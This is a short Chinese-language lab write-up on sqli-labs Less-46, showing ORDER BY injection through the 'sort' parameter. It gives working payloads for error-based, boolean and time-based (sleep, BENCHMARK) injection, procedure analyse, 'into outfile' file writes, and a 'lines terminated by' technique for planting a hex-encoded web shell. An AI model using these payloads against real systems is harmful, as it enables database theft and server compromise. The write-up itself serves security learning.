0X01首先我们先来看一下源码
发现查询语句变成了 order by 参数也变成了 sort 看看是什么样的
(1)首先看看本关sql语句 $sql = "SELECT * FROM users ORDER BY $id";
在mysql中 order by 参数后可以加入升序和降序来改变排列顺序，
我们来看看mysql的帮助函数
0x4 思路分析 （1）order by 后的数字可以作为一个注入点，构造order by 后的一个语句，让该语句执行结果为一个数，我们尝试
http://127.0.0.1/sql1/Less-46/?sort=right(database(),1)
解释下：
rigth函数：是返回右边结果的第一个字符 left 同理
经过测试，两个函数在页面并没有任何的反应，证明数字并没有起作用，考虑下布尔类型。可以利用报错注入和延时注入。
（2）直接在sort后面构造，形式存在几种
直接添加注入语句
利用函数（例如:rand 函数等）使用true和false看看结果
http://127.0.0.1/sql1/Less-46/?sort=rand(true)
http://127.0.0.1/sql1/Less-46/?sort=rand(false)
发现并没有 特别的变化
http://127.0.0.1/sql1/Less-46/?sort=-1%20and%20(select%20database())
也没有什么特别的变化 那我们想一想其他的注入
比如报错
?sort=1 and (select count(*),concat_ws(';',database(),floor(rand()*2))as a from information_schema.tables group by a)
返回一个操作数应该包含一列
sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)
4）延迟注入实例
?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)
?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))
（4）procedure analyse参数注入 利用procedure analyse参数，我们可以执行报错注入。同时，在procedure analyse和order by之间可以存在limit参数，我们在实际应用中，往往也可能会存在limit后的注入，可以利用procedure analyse进行注入。
?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)
5）导入导出文件into outfile参数
http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"
（6）lines terminated by上传网马
Into outtfile 文件地址 lines terminated by 0x(网马进行16进制转换)
切记 学习之路 少就是多 慢就是快